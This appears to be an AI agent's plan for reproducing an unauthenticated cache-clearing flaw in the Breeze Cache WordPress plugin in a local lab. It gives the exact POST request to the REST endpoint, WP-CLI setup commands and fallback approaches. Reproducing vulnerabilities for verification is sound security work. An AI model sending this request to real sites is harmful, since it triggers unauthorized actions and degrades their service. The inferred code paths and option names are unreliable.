Exploitation Research Plan: CVE-2025-13864 (Breeze Cache)

1. Vulnerability Summary

The Breeze Cache plugin (<= 2.2.21) for WordPress contains a missing authorization vulnerability in its REST API implementation. The plugin registers a route /wp-json/breeze/v1/clear-all-cache with the permission_callback explicitly set to __return_true. When the "API Integration" feature is enabled in the plugin settings, this endpoint becomes accessible to unauthenticated users, allowing them to clear the site's entire page cache, Varnish cache, and Cloudflare cache.

2. Attack Vector Analysis

• Endpoint: /wp-json/breeze/v1/clear-all-cache
• Method: POST
• Authentication: None (Unauthenticated)
• Precondition: The "API Integration" feature must be enabled in the Breeze settings. By default, this might be disabled, but if a site owner enables it for legitimate automation, it exposes the endpoint to the public.
• Payload: No specific payload body is required; the act of hitting the endpoint triggers the clearing logic.

3. Code Flow (Inferred)

1. Route Registration: The plugin uses the rest_api_init hook. Inside the callback, register_rest_route is called for the namespace breeze/v1.
2. Vulnerable Endpoint: The route clear-all-cache is defined with:
   • methods => 'POST' (or possibly WP_REST_Server::CREATABLE)
   • permission_callback => '__return_true'
3. Feature Check: The handler likely checks if the API feature is active by querying get_option('breeze_very_basic_settings').
4. Action Sink: If the check passes, the handler calls internal functions like breeze_clear_all_cache() or logic that interacts with Breeze_Configuration to purge filesystem cache (wp-content/cache/breeze/), Varnish via HTTP PURGE, and Cloudflare via their API.

4. Nonce Acquisition Strategy

According to the vulnerability description, the REST API is unauthenticated by design when the feature is enabled.

• No Nonce Needed: Since permission_callback is __return_true, the WordPress REST API will not enforce the _wpnonce check usually required for cookie-authenticated sessions.
• Verification: If the exploit returns a 403 Forbidden with a message about a missing nonce, I will:
  1. Search the source for wp_localize_script to find if a nonce is passed to the frontend for this specific API.
  2. Check for a key like breeze_rest_nonce in the global window object of the admin dashboard.

5. Exploitation Strategy

1. Setup Phase: Enable the Breeze plugin and ensure the API Integration is active.
2. State Baseline: Verify that cache files exist in wp-content/cache/breeze/.
3. Exploit Execution: Use the http_request tool to send a POST request to the vulnerable endpoint.
4. Verification Phase: Check if the cache directory is empty or if specific cache files have been deleted.

Proposed HTTP Request

POST /wp-json/breeze/v1/clear-all-cache HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{}

6. Test Data Setup

1. Install/Activate Plugin:

   wp plugin install breeze --version=2.2.21 --activate
   

2. Enable API Integration:
   Breeze settings are typically stored in the breeze_very_basic_settings option.

   # Set the 'breeze-api-enabled' flag to '1' within the settings array
   # Note: Structure might be an array, need to verify exact key name (inferred: 'breeze-api-enabled')
   wp option patch insert breeze_very_basic_settings breeze-api-enabled 1
   

3. Generate Cache:
   Navigate to the homepage as an anonymous user to trigger page caching.

   # Using the browser tool to hit the home page multiple times
   

4. Verify Cache Presence:

   ls -R /var/www/html/wp-content/cache/breeze/
   

7. Expected Results

• HTTP Response: 200 OK or 201 Created. The body likely contains a JSON success message (e.g., {"success": true, "message": "Cache cleared successfully"}).
• System State: The directory /var/www/html/wp-content/cache/breeze/ should be emptied or have significantly fewer files/directories than before the request.

8. Verification Steps

1. Check Filesystem via CLI:

   # Confirm the cache directory is empty
   find /var/www/html/wp-content/cache/breeze/ -type f | wc -l
   # Expected: 0
   

2. Check REST API Response:
   Ensure the response code was 200 and not 401 (Unauthorized) or 403 (Forbidden).

9. Alternative Approaches

• Missing API Check: If the exploit fails, check if the plugin uses a different option key than breeze-api-enabled (e.g., breeze_api_integration).
• Endpoint Discovery: If /wp-json/breeze/v1/clear-all-cache returns 404, list all registered routes to find the correct namespace or version:
  http_request GET /wp-json/
• Method Variation: Try GET if POST fails, although the description specifies a POST request.